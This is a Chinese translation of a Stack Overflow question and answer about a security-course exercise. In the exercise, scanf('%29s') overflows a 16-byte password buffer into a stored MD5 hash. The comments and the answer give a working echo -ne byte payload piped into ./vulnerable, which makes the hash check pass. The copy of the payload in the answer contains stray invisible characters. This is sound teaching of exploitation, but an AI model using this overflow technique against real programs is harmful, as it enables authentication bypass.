基于堆栈的缓冲区溢出 - 使用有限输入的C语言挑战,使用scanf函数。

5
作为安全CS课程的一部分,我的班级被赋予了利用堆栈/缓冲区溢出漏洞来打破密码检查的任务。具有漏洞的代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/md5.h>

int main(int argc, char **argv) {
    char correct_hash[16] = {
        0xd0, 0xf9, 0x19, 0x94, 0x4a, 0xf3, 0x10, 0x92,
        0x32, 0x98, 0x11, 0x8c, 0x33, 0x27, 0x91, 0xeb
    };
    char password[16];

    printf("Insert your password: ");
    scanf("%29s", password);

    MD5(password, strlen(password), password);

    if (memcmp(password, correct_hash, 16) == 0) {
        printf("Correct Password!\n");
    } else {
        printf("Wrong Password, sorry!\n");
    }
    return 0;
}

我理解了经典的“堆栈溢出”原理(我想),并且在这里存在明显的溢出漏洞,即在提示输入密码时,如果输入的密码长度超过15个字符,则可以覆盖correct_hash数组的前14个字节。然而,我不明白如何利用这一点使memcmp检查通过,从而完成挑战。我已经发现/尝试了一些事情:
  • password设置为等同于correct_hash是行不通的,因为password使用MD5()进行哈希处理(两者相等是不可能的,因为scanf将在可用的30个空间中插入precisely一个唯一的ASCII NUL字符,这意味着两个数组永远不可能相等。此外,据我所知,NUL字符不能在scanf字符串的中间插入)。

  • scanf覆盖最大数量的字节(它将始终附加一个NUL字符)意味着correct_hash的最后3个字节将始终是0x00 0x91 0xeb。尝试随机生成一个16个字符的密码,然后将其哈希为具有这些最后3个字节/字符的内容(由于使用MD5,这是相当容易的),但由于在调用MD5()时使用了strlen(password)(它会给出一个值为29而不是像16这样方便的值,因为只有在遇到NUL字符时才完成长度计数)这意味着,与其将16个字符的密码哈希以产生预期输出,不如将MD5()的调用哈希从password中取出16个字符,然后再取出13个字符从correct_hash中取出13个字符,从而产生不同的最终哈希值。

    • 为了解决这个问题,我认为人们必须找到一个29个字符的字符串(称之为S),其中S的前16个字符哈希为一个字符串R,该字符串由S的最后13个字符组成,后跟0x00 0x91 0xeb。我不确定通过随机MD5哈希计算找到这个字符串的可行性,但我不喜欢我的机会。

一些注意事项(上面的解释中提到):

  • scanf指令只能读取29个字符的字符串,但会附加一个ASCII NUL字符,从而使总共可以覆盖30个字符(来自password数组的16个字符和correct_hash数组的14个字符)。

  • ASCII NUL字符无法通过scanf输入,因此在调用MD5()时,如果使用最大密码长度,则strlen(password)将为29。

所以问题来了,我还有别的方法吗?我错过了非常明显的东西吗?生成随机数是可行的解决方案,甚至是唯一的解决方案吗?

解决方案必须使用缓冲区溢出(否则我想我可以做一些类似于预加载永远返回0的memcmp之类的事情),并且必须作为shell脚本执行(如果这有任何相关性)。


3
问题的关键是,scanf 函数可以接受零字节作为字符串的一部分,并且不会将其视为空格(因此不会停止读取更多的字节到字符串中)。有了这个信息,你的任务应该很容易。 - Ctx
1
char password[16]; ... scanf("%29s", password); 并不是在利用漏洞,而是故意制造漏洞。 - Weather Vane
1
@Ctx:没错,但是从终端输入NUL字节并不容易。 - chqrlie
1
@chqrlie 说真的吗?重定向一个文件或者使用 echo -ne "\x00" | program 这样的命令。 - Ctx
3
@Ctx 是的,看起来已经成功了!非常感谢。我最终使用的命令是:echo -ne "\x49\x5a\x4e\x52\x48\x49\x41\x56\x5a\x43\x54\x52\x51\x4c\x43\x00\x81\xae\xf3\xdf\xa2\x45\xb1\x57\x19\xb3\xa9\xb8\x7d\x00\x91\xeb" | ./vulnerable。其中第一组 16 个字节(包括第一个 \x00)是随机生成的字符串,当哈希时生成第二组 16 个字节,并以所需的 \x00\x91\xeb 结尾。最后的 3 个字节没有被复制,但我将它们留在那里以显示字符串和哈希值。 - Murray
显示剩余4条评论
1个回答

6

以下是评论合并后的要点:

问题的核心在于,scanf会欣然接受零字节作为字符串的一部分,并且不将其视为空格(因此不会停止读取更多字节到字符串中)。

可以重定向一个文件或使用 echo -ne "\x00" | 程序 或类似命令。在这里,重定向输入文件可能是首选方法。

我最终使用的命令是:echo -ne "\x49\x5a\x4e\x52\x48\x49\x41\x56\x5a\x43\x54\x52\x51\x4c\x4‌​3\x00\x81\xae\xf3\xd‌​f\xa2\x45\xb1\x57\x1‌​9\xb3\xa9\xb8\x7d\x0‌​0\x91\xeb" | ./vulnerable,其中第一组16个字节(包括第一个 \x00)是一个随机生成的字符串,该字符串在被哈希后产生了第二组16个字节,同时满足所需的 \x00\x91\xeb 结尾。那里的最后3个字节没有被复制,但我把它们留下来展示字符串和哈希值。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接